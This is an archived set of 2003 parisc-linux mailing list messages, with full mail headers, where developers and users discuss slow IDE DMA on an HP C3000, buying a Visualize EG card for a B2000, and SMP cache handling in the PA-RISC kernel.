List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19380

On Mer, 2003-08-27 at 22:44, Grant Grundler wrote:
> c3000 uses sba_iommu.c and AFAIK all DMA goes through the IOMMU.
> Would surprise me if the DMA was bounced/copied.

Nod.. I'm trying to fathom the 3Mbyte/second behaviour while hdparm
claims DMA is on



From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 00:05:49 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <1062025549.3f4d394db0ab5@webmail.v8fiesta.co.uk>
References: <20030827034036.GA9928@dsl2.external.hp.com> <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net> <20030827060516.GA11642@dsl2.external.hp.com> <20030827100630.7a3eb14f.varenet@esiee.fr> <1061976142.3f4c784e354b9@webmail.v8fiesta.co.uk> <1062015588.3f4d126503447@webmail.v8fiesta.co.uk> <20030827221857.GG31311@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622736 30434 80.91.229.3 (22 Nov 2014 02:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 17:06:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id E6B254884
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 17:06:43 -0600 (MDT)
Original-Received: (qmail 32524 invoked by uid 2525); 27 Aug 2003 23:05:49 -0000
Original-Received: from 80.40.24.25 ( [80.40.24.25])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Thu, 28 Aug 2003 00:05:49 +0100
In-Reply-To: <20030827221857.GG31311@dsl2.external.hp.com>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.24.25
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19381

Thanks once again

Do you prehaps know how much the card wiull cost me and where i can get one in 
the uk... 

Thanks

Quoting Grant Grundler <grundler@parisc-linux.org>:

> On Wed, Aug 27, 2003 at 09:19:49PM +0100, mmogenius@v8fiesta.co.uk wrote:
> > so the basics of it is can the b2000 support an additional vga card
> > other then the onboard graphics card?
> 
> If a PCI slot is available, I would expect a PCI Vis-EG card to work.
> 
> > presumabely i need a card that is compatable with 
> > the box rather then any old card off the shelf ?
> 
> I think so.
> 
> > of is there more likleyhood that there will be support for this card in x
> ?
> 
> PCI Vis-EG + stifb driver works under xf86.
> 
> grant
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: Wed, 27 Aug 2003 17:09:25 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030827230925.GH31311@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0308271731570.14906-100000@sal.ucc.ie> <1062019396.23493.8.camel@dhcp23.swansea.linux.org.uk> <20030827214409.GE31311@dsl2.external.hp.com> <1062022973.23531.45.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622737 30435 80.91.229.3 (22 Nov 2014 02:18:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:57 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 17:09:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 6751548D9; Wed, 27 Aug 2003 17:09:25 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1062022973.23531.45.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19382

On Wed, Aug 27, 2003 at 11:22:54PM +0100, Alan Cox wrote:
> Nod.. I'm trying to fathom the 3Mbyte/second behaviour while hdparm
> claims DMA is on

I thought each PIO READ costs something like 400 or 500 cycles on c3k
(400Mhz CPU).  400/3 == 133 cycles/byte.

Either doing very slow DMA or 32-bit (4*133 == 532) reads.
Then it would make sense.

grant


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 17:11:43 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20030827231143.GI31311@dsl2.external.hp.com>
References: <20030827034036.GA9928@dsl2.external.hp.com> <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net> <20030827060516.GA11642@dsl2.external.hp.com> <20030827100630.7a3eb14f.varenet@esiee.fr> <1061976142.3f4c784e354b9@webmail.v8fiesta.co.uk> <1062015588.3f4d126503447@webmail.v8fiesta.co.uk> <20030827221857.GG31311@dsl2.external.hp.com> <1062025503.3f4d391fcb5b6@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622737 30438 80.91.229.3 (22 Nov 2014 02:18:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 17:11:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 20CDB48E2; Wed, 27 Aug 2003 17:11:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1062025503.3f4d391fcb5b6@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19383

On Thu, Aug 28, 2003 at 12:05:03AM +0100, mmogenius@v8fiesta.co.uk wrote:
> do you prehaps have any idea what sort of money the card might cost me?
> and where i could find one in the uk ?

I've never had to buy one.
Check e-bay and/or HP equipment resellers on the net.

grant


From - Thu Nov 08 21:29:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: Thu, 28 Aug 2003 00:19:58 +0100 (IST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308280010270.16696-100000@sal.ucc.ie>
References: <20030827230925.GH31311@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622737 30440 80.91.229.3 (22 Nov 2014 02:18:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:57 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	<parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 17:20:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F51648E7
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 17:20:03 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h7RNK1930202;
	Thu, 28 Aug 2003 00:20:01 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030827230925.GH31311@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19384

On Wed, 27 Aug 2003, Grant Grundler wrote:

> On Wed, Aug 27, 2003 at 11:22:54PM +0100, Alan Cox wrote:
> > Nod.. I'm trying to fathom the 3Mbyte/second behaviour while hdparm
> > claims DMA is on
>
> I thought each PIO READ costs something like 400 or 500 cycles on c3k
> (400Mhz CPU).  400/3 == 133 cycles/byte.
>
> Either doing very slow DMA or 32-bit (4*133 == 532) reads.
> Then it would make sense.

beast:/home/xam# hdparm -c /dev/hda

/dev/hda:
 IO_support   =  1 (32-bit)


Well, I set it to 32bit I/O, more specifically I also tried
c=0 (16bit, default), c=3 (32-bit with sync). Everytime the same:


beast:/home/xam# hdparm -Tt /dev/hda

/dev/hda:
 Timing buffer-cache reads:   128 MB in  1.80 seconds = 71.11 MB/sec
 Timing buffered disk reads:  64 MB in 20.48 seconds =  3.12 MB/sec


However switching of DMA (as I told in my previous post, 'hdparm -d 0')
will cause a kernel crash (+ dump).

I haven't tried to compile & test a kernel without DMA support (or NS87415
support)


greetings, Max




From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 00:31:07 +0100 (IST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie>
References: <1062025549.3f4d394db0ab5@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622738 30443 80.91.229.3 (22 Nov 2014 02:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 17:31:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EC2948E1
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 17:31:10 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h7RNV9930479;
	Thu, 28 Aug 2003 00:31:09 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <1062025549.3f4d394db0ab5@webmail.v8fiesta.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19385

On Thu, 28 Aug 2003 mmogenius@v8fiesta.co.uk wrote:

> Thanks once again
>
> Do you prehaps know how much the card wiull cost me and where i can get one in
> the uk...

Well, Ebay + "Visualize EG" brings up following result:

http://search.ebay.co.uk/ws/search/SaleSearch?satitle=Visualize+EG&saavailabletocountry=3&socurrencydisplay=2&ebaytag1code_tmp=3&ebaytag1_tmp=ebayavail&sosortproperty=1&ht=1&from=R10&sorecordsperpage=50&BasicSearch=

All of these three offers are currently below 10 Pound,
but international shipping is quite expensive (one offer says US $25).

I'd say go for it anyway.


Max



From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Thu, 28 Aug 2003 08:08:13 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3F4D798800000024@ocpmta7.freegates.net>
References: <3F2E2C770000510F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622738 30445 80.91.229.3 (22 Nov 2014 02:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:58 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 00:08:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9408A48D1
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 00:08:22 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19sFt8-0007Tj-00; Thu, 28 Aug 2003 08:04:06 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 28 Aug 2003 08:08:13 +0200
In-Reply-To: <3F2E2C770000510F@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19386

>
>Now that I find what seems reasonable parameters (?) I would try to reboot
>the system tomorrow morning and relaunch test with itlb patch (just to confirm
>results).
>
Same results (definitively the test to show up this improvement, may be another
workfile?)

Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 02:49:19 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <BFAC120A-D923-11D7-B547-000393581E44@speakeasy.net>
References: <20030827060516.GA11642@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622738 30451 80.91.229.3 (22 Nov 2014 02:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 00:49:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id C80D34886
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 00:49:19 -0600 (MDT)
Original-Received: (qmail 27040 invoked from network); 28 Aug 2003 06:49:18 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 28 Aug 2003 06:49:18 -0000
In-Reply-To: <20030827060516.GA11642@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19387

On Wednesday, Aug 27, 2003, at 02:05 US/Eastern, Grant Grundler wrote:

> I have seen a B2000 with 8 DIMM slots and 6 PCI slots like a C3000.
> This is no prototype - a real production unit.

Sounds like a B1000 to me. ;-) Essentially, a C3000 with a slower CPU.



From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Thu, 28 Aug 2003 09:04:40 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <3F4D798800000061@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622738 30452 80.91.229.3 (22 Nov 2014 02:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 01:04:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F78A48F2
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 01:04:43 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19sGll-0004RI-00; Thu, 28 Aug 2003 09:00:33 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 28 Aug 2003 09:04:40 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19388

Hi Grant,

>AFAIK, a cacheline will get loaded as "shared clean"
>until someone writes to it - which is when the cacheline ping-pong
>starts.

Mhh would it not request some kind of ipc between cpu for cache management?

But to avoid usage of cache would it be possible to access global kernel's
variable with absolute addressing mode? Is it feasible?

...

btw scaning code related to SMP I find in smp.c a very draft of an 'ipi_init()'
but unfortunately 'Ignore for now. *May* need this "hook" to register IPI
handler'..., interesting isn't it :).
Is there any other platform inplementing such stuff (I try to scan 2.4 src
but not found anywhere else) or some reference on to implement it?


>PAT PDC (L-/N-class and A500) have hard coded numbers for CPUs.
>parisc-linux only uses logical CPU numbers to avoid sparsely populated
>arrays. parisc-linux can get the  "Physical CPU #" from PAT PDC.
>See code inside USE_PAT_CPUID in arch/parisc/kernel/processor.c.
>You might hack that code a bit so you can correlate logic to physical
>CPU numbers.

Ah see better now, it answers to another question.

Thanks,
    Joel




-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 10:22:21 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622739 30457 80.91.229.3 (22 Nov 2014 02:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 03:23:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 833834876
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 03:23:16 -0600 (MDT)
Original-Received: (qmail 70076 invoked by uid 2525); 28 Aug 2003 09:22:21 -0000
Original-Received: from 212.135.129.82 ( [212.135.129.82])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Thu, 28 Aug 2003 10:22:21 +0100
In-Reply-To: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 212.135.129.82
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19389

Thanks for the link i am sure i had searched ebay but never got any results 
prehaps i was searching for items in the UK only. 

I presume not thast many people have these boxes over here and there not 
